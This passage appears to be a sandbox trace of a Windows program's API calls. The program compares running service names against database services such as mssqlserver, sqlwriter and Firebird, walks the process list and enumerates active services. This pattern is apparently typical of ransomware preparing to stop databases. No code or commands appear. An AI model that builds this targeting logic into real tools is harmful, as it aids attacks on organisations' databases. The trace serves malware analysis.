(lpString="NlaSvc") returned 6 [0276.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.047] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.047] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.048] lstrlenW (lpString="nsi") returned 3 [0276.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.048] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.048] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.048] lstrlenW (lpString="PcaSvc") returned 6 [0276.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.048] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.048] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.048] lstrlenW (lpString="PlugPlay") returned 8 [0276.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.048] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.048] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.049] lstrlenW (lpString="Power") returned 5 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.049] lstrlenW (lpString="ProfSvc") returned 7 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.049] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.049] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.049] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.049] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.049] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.049] lstrlenW (lpString="RpcSs") returned 5 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.049] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.049] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.049] lstrlenW (lpString="SamSs") returned 5 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.049] lstrlenW (lpString="Schedule") returned 8 [0276.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.050] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.050] lstrlenW (lpString="SENS") returned 4 [0276.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.050] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.051] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.051] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.051] lstrlenW (lpString="Spooler") returned 7 [0276.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.051] lstrlenW (lpString="StateRepository") returned 15 [0276.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.051] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.051] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.051] lstrlenW (lpString="SysMain") returned 7 [0276.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.051] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.051] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.052] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.052] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0276.052] lstrlenW (lpString="Themes") returned 6 [0276.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0276.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0276.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0276.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0276.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45db460 | out: hHeap=0x640000) returned 1 [0276.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x568 [0276.058] Process32FirstW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.059] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.060] lstrlenW (lpString="System") returned 6 [0276.060] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.061] lstrlenW (lpString="smss.exe") returned 8 [0276.061] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.062] lstrlenW (lpString="csrss.exe") returned 9 [0276.062] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.063] lstrlenW (lpString="wininit.exe") returned 11 [0276.063] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.065] lstrlenW (lpString="csrss.exe") returned 9 [0276.065] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.066] lstrlenW (lpString="winlogon.exe") returned 12 [0276.066] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.067] lstrlenW (lpString="services.exe") returned 12 [0276.067] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.068] lstrlenW (lpString="lsass.exe") returned 9 [0276.068] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.069] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.069] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.070] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.070] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.071] lstrlenW (lpString="svchost.exe") returned 11 [0276.071] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.073] lstrlenW (lpString="svchost.exe") returned 11 [0276.073] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.074] lstrlenW (lpString="dwm.exe") returned 7 [0276.074] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.075] lstrlenW (lpString="svchost.exe") returned 11 [0276.075] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.076] lstrlenW (lpString="svchost.exe") returned 11 [0276.076] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.077] lstrlenW (lpString="svchost.exe") returned 11 [0276.077] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.078] lstrlenW (lpString="svchost.exe") returned 11 [0276.078] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.080] lstrlenW (lpString="svchost.exe") returned 11 [0276.080] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.081] lstrlenW (lpString="svchost.exe") returned 11 [0276.081] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.103] lstrlenW (lpString="svchost.exe") returned 11 [0276.103] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.104] lstrlenW (lpString="svchost.exe") returned 11 [0276.104] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.105] lstrlenW (lpString="svchost.exe") returned 11 [0276.105] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.106] lstrlenW (lpString="svchost.exe") returned 11 [0276.106] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.107] lstrlenW (lpString="spoolsv.exe") returned 11 [0276.107] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.108] lstrlenW (lpString="svchost.exe") returned 11 [0276.108] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.109] lstrlenW (lpString="audiodg.exe") returned 11 [0276.109] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.110] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0276.110] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.111] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0276.111] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.111] lstrlenW (lpString="Memory Compression") returned 18 [0276.111] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.112] lstrlenW (lpString="svchost.exe") returned 11 [0276.112] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.113] lstrlenW (lpString="sihost.exe") returned 10 [0276.113] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0276.114] lstrlenW (lpString="MDMAgent.exe") returned 12 [0276.114] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.115] lstrlenW (lpString="taskhostw.exe") returned 13 [0276.115] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0276.116] lstrlenW (lpString="msoia.exe") returned 9 [0276.116] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.117] lstrlenW (lpString="explorer.exe") returned 12 [0276.117] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.117] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0276.117] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.118] lstrlenW (lpString="SearchUI.exe") returned 12 [0276.118] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.119] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0276.119] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.120] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0276.120] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0276.121] lstrlenW (lpString="chrome64b.exe") returned 13 [0276.121] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.121] lstrlenW (lpString="cmd.exe") returned 7 [0276.121] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.122] lstrlenW (lpString="conhost.exe") returned 11 [0276.122] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.123] lstrlenW (lpString="svchost.exe") returned 11 [0276.123] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0276.124] lstrlenW (lpString="consent.exe") returned 11 [0276.124] Process32NextW (in: hSnapshot=0x568, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0276.125] CloseHandle (hObject=0x568) returned 1 [0276.125] Sleep (dwMilliseconds=0x1f4) [0276.691] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a220 [0276.691] EnumServicesStatusExW (in: hSCManager=0x69a220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0276.692] GetLastError () returned 0xea [0276.692] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45bb450 [0276.693] EnumServicesStatusExW (in: hSCManager=0x69a220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45bb450, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45bb450, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 